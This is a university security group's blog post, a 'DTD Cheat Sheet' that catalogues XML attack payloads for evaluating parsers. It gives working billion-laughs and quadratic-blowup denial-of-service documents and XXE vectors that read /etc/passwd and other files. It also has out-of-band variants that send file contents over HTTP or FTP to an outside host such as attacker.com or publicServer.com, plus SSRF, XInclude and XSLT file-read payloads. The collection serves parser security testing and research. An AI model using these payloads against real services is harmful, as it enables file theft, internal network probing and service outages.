On Web-Security and -Insecurity

Recent research on web security and related topics. Provided and maintained by members and friends of the Chair for Network and Data Security at the Ruhr University Bochum, Faculty of Electrical Engineering and Information Technology, Horst Görtz Institute for IT-Security.

Wednesday, March 2, 2016

DTD Cheat Sheet

When evaluating the security of XML based services, one should always consider DTD based attack vectors, such as XML External Entities (XXE) as,for example, our previous post XXE in SAML Interfaces demonstrates.

In this post we provide a comprehensive list of different DTD attacks.

The attacks are categorized as follows:

- Denial-of-Service Attacks
- Classic XXE
- Advanced XXE
- Server-Side Requst Forgery (SSRF)
- XInclude
- XSLT

Your can also check out our large-scale parser evaluation against DTD attacks.

Last updated on 16. January 2019.
Please contact us if you have any missing vectors!

Denial-of-Service Attacks

Testing for Entity Support

```
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
```

If this test is successful and and parsing process is slowed down, there is a high probability that your parser is configured insecurely and is vulnerable to at least one kind of DoS.

Billion Laughs Attack (Klein, 2002)

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

This file expands to about 30 KByte but has a total of 11111 entity references and therefore exceeds a reasonable threshold of entity references.
Source

Billion Laughs Attack - Parameter Entities (Späth, 2015)

```
<!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
```

File stored on *http://publicServer.com/dos.dtd*

```
<!ENTITY % a0 "dos" >
<!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
<!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
<!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
<!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
<!ENTITY g  "%a4;" >
```

Search This Blog

Search

Blog Archive

- ► 2021 (8)
- ► 2020 (3)
- ► 2019 (9)
- ► 2018 (6)
- ► 2017 (8)
- ▼ 2016 (6)
  - ► September (1)
  - ► July (1)
  - ► May (1)
  - ▼ March (2)
    - XML Parser Evaluation
    - DTD Cheat Sheet
  - ► January (1)
- ► 2015 (12)
- ► 2014 (8)

Beliebte Posts

DTD Cheat Sheet

Printer Security

CORS misconfigurations on a large scale

How To Spoof PDF Signatures

How to Break Microsoft Rights Management Services

Contributors

- Christian Mainka
- Dennis Felsch
- Dominik Noss
- Jens Müller
- Juraj Somorovsky
- Louis
- Marcus Brinkmann
- Marcus Niemietz
- Paul Rösler
- Simon Rohlmann
- Tibor
- Vladislav Mladenov
- Vladislav Mladenov
- ic0ns

Quadratic Blowup Attack

```
<!DOCTYPE data [
<!ENTITY a0 "dosdosdosdosdosdos...dos">
]>
<data>&a0;&a0;...&a0;</data>
```

Source

Recursive General Entities

This vector is not well-formed by [WFC: No Recursion].

```
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
```

External General Entities (Steuck, 2002)

The idea of this attack is to declare an external general entity and reference a large file on a network resource or locally (e.g. *C:/pagefile.sys or /dev/random*).
However, conducting DoS attacks in such a manner is only applicable by making the parser process a **large XML document.**

```
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
```

Source

Parameter Laughs (Sebastian Pipping, 2021)

The Parameter Laughs attack is based on the Bllion Laughs attack and it relies on nested entities to allocate gigabytes of content to process caused by a small payload.
In comparison to previous attack vectors, the attack:

- uses parameter entities (syntax *%entity;* with *%*) rather than general entities (syntax *&entity;* with *&*) and
- uses delayed interpretation to effectively sneak use of parameter entities into the so-called "internal subset" of the XML document (the "here" in *<!DOCTYPE r [here]>*) where undisguised parameter entities are not allowed, with regard to the XML specification.

```
<?xml version="1.0"?>
<!--
  "Parameter Laughs", i.e. variant of Billion Laughs Attack
                           using delayed interpretation
                           of parameter entities
  Copyright (C) Sebastian Pipping <sebastian@pipping.org>
-->
<!DOCTYPE r [
  <!ENTITY % pe_1 "<!---->">
  <!ENTITY % pe_2 "&#37;pe_1;<!---->&#37;pe_1;">
  <!ENTITY % pe_3 "&#37;pe_2;<!---->&#37;pe_2;">
  %pe_3; <!-- not at full potential, increase towards "%pe40;"
              carefully -->
]>
<r/>
```

Source

Classic XXE

Classic XXE Attack (Steuck, 2002)

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
```

We use the file '/sys/power/image_size' as an example, because it is a very simple file (one line, no special characters).

This attack requires a direct feedback channel and reading out files is limited by "forbidden characters in XML" such as "<" and "&".
If such characters occur in the accessed file (e.g. */etc/fstab*) the XML parser raises an exception and stops the parsing of the message.

Source

XXE Attack using netdoc

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
```

Source: @Nirgoldshlager

XXE Attack using UTF-16 (Dawid Golunski)

Some simple blacklisting countermeasures can probably bypassed by changing the default XML charset (which is UTF-8), to a different one, for example, UTF-16

```
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
```

The above file can be simply created with a texteditor.
To convert it to UTF-16, you can use the linux tool iconv

```
# cat file.xml | iconv -f UTF-8 -t UTF-16 > file_utf16.xml
```

Source, Thanks to @ilmila

XXE Attack using UTF-7

The same trick can be applied to UTF-7 as-well.

```
<?xml version="1.0" encoding="UTF-7" ?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
```

```
# cat file.xml | iconv -f UTF-8 -t UTF-7 > file_utf7.xml
```

Source, Thanks to @ilmila

Evolved XXE Attacks - Direct Feedback Channel

This class of attacks vectors is called evolved XXE attacks and is used to (i) bypass restrictions of classic XXE attacks and (ii) for Out-of-Band attacks.

Bypassing Restrictions of XXE (Morgan, 2014)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
%dtd;
]>
<data>&all;</data>
```

File stored on *http://publicServer.com/parameterEntity_core.dtd*

```
<!ENTITY all '%start;%goodies;%end;'>
```

Source

Bypassing Restrictions of XXE (Späth, 2015)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_doctype.dtd">
<data>&all;</data>
```

File stored on *http://publicServer.com/parameterEntity_doctype.dtd*

```
<!ELEMENT data (#PCDATA)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
<!ENTITY % end "]]>">
<!ENTITY all '%start;%goodies;%end;'>
```

XXE by abusing Attribute Values (Yunusov, 2013)

This vector bypasses [WFC: No External Entity References].

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data attrib='&internal;'/>
```

File stored on *http://publicServer.com/external_entity_attribute.dtd*

```
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
```

Source

Error-based XXE using Parameter Entitites (Arseniy Sharoglazov, 2018)

```
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>
```

File stored on *http://attacker.com/ext.dtd*

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Source

Abusing local-DTD Files XXE (Arseniy Sharoglazov, 2018)

Because external DTD subsets are prohibited within an internal subset, one can use a a locally existing DTD file as follows:

```
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>
```

Contents of *sig-app_1_0.dtd*

```
…
<!ENTITY % condition "and | or | not | equal | contains | exists |
subdomain-of">
<!ELEMENT pattern (%condition;)>
…
```

Source (also providing a list of local DTD files)

Evolved XXE Attacks - Out-of-Band channels

Just because there is no direct feedback channel available does not imply that an XXE attack is not possible.

XXE OOB Attack (Yunusov, 2013)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
```

```
<data>&send;</data>
```

File stored on *http://publicServer.com/parameterEntity_oob.dtd*

```
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```

Source

XXE OOB Attack - Parameter Entities (Yunusov, 2013)

Here is a variation of the previous attack using only parameter entities.

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">
%remote;
%send;
]>
<data>4</data>
```

File stored on *http://publicServer.com/parameterEntity_sendhttp.dtd*

```
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'http://publicServer.com/%payload;'>">
%param1;
```

Source

XXE OOB Attack - Parameter Entities FTP (Novikov, 2014)

Using the FTP protocol, an attacker can read out files of arbitrary length.

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>
```

File stored on *http://publicServer.com/parameterEntity_sendftp.dtd*

```
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
```

This attack requires to setup a modified FTP server. However, adjustments to this PoC code are probably necessary to apply it to an arbitrary parser.

Source

SchemaEntity Attack (Späth, 2015)

We identified three variations of this attack using (i) schemaLocation, (ii) noNamespaceSchemaLocation and (iii) XInclude.

schemaLocation

```
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:ttt="http://test.com/attack"
 xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
```

noNamespaceSchemaLocation

```
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>
```

XInclude

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://192.168.2.31/&internal;"
parse="text"></xi:include></data>
```

File stored on *http://publicServer.com/external_entity_attribute.dtd*

```
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
```

SSRF Attacks

DOCTYPE

```
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
```

External General Entity (Steuck, 2002)

```
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">
]>
<data>&remote;</data>
```

Although it is best to reference a well-formed XML file (or any text file for that matter), in order not to cause an error, it is possible with some parsers to invoke an URL without referencing a not well-formed file.

Source

External Parameter Entity (Yunusov, 2013)

```
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">
%remote;
]>
<data>4</data>
```

File stored on *http://publicServer.com/url_invocation_parameterEntity.dtd*

```
<!ELEMENT data2 (#ANY)>
```

Source

XInclude

```
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml">
</xi:include></data>
```

File stored on *http://publicServer.com/file.xml*

```
<?xml version='1.0' encoding='utf-8'?><data>it_works</data>
```

schemaLocation

```
<?xml version='1.0'?>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xmlns:ttt="http://test.com/attack"
 xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>
```

File stored on *http://publicServer.com/url_invocation_schemaLocation.xsd*

```
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
    xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="data" type="xs:string"/>
</xs:schema>
```

or use this file

```
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
    xmlns:xs="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://test.com/attack">
 <xs:element name="data" type="xs:string"/>
</xs:schema>
```

noNamespaceSchemaLocation

```
<?xml version='1.0'?>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>
```

File stored on *http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd*

```
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
    xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="data" type="xs:string"/>
</xs:schema>
```

XXE on JSON Webservices Trick (Antti Rantasaari)

If you pentest a web service that supports JSON, you can try to enforce it parsing XML as well.
The example is copied from this Blogpost by Antti Rantasaari.

Given HTTP example request:

```
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}
```

It can be converted to enforce using XML by setting the HTTP Content-Type to application/xml:

```
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
```

In this case, the JSON parameters "name" and "value" are converted to XML elements "<search>" and "<value>" to be Schema conform to the JSON format.
A root element "<root>" was added around <search> and <value> to get a valid XML document (since an XML document must have exactly one root element).

The XXE attack might also work by simply adding one of the other attack vectors of this blog.

Source

XInclude Attacks (Morgan, 2014)

```
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/sys/power/image_size"></xi:include>
</data>
```

Source

XSLT Attacks

```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
      <xsl:value-of select="document('/sys/power/image_size')">
```

```
  </xsl:value-of></xsl:template>
</xsl:stylesheet>
```

Authors of this Post

Christopher Späth
Christian Mainka (@ChearíX)
Vladislav Mladenov

By Vladislav Mladenov at March 02, 2016

Labels: XML, XXE

Location: Ruhr-Universität, 44801 Bochum, Deutschland

Newer Post Home Older Post

Beliebte Posts

DTD Cheat Sheet
When evaluating the security of XML based services, one should always consider DTD based attack vectors, such as XML External Entities (XXE)...

Printer Security
Printers belong arguably to the most common devices we use. They are available in every household, office, company, governmental, medic...

CORS misconfigurations on a large scale
Inspired by James Kettle 's great OWASP AppSec Europe talk on CORS misconfigurations, we decided to fiddle around with CORS security i...

How To Spoof PDF Signatures
One year ago, we received a contract as a PDF file. It was digitally signed. We looked at the document - ignoring the "certificate is n...

How to Break Microsoft Rights Management Services
In this post, we provide a security analysis of Microsoft Rights Management Services (RMS) and present two working attacks: We complete...

Simple theme. Powered by Blogger.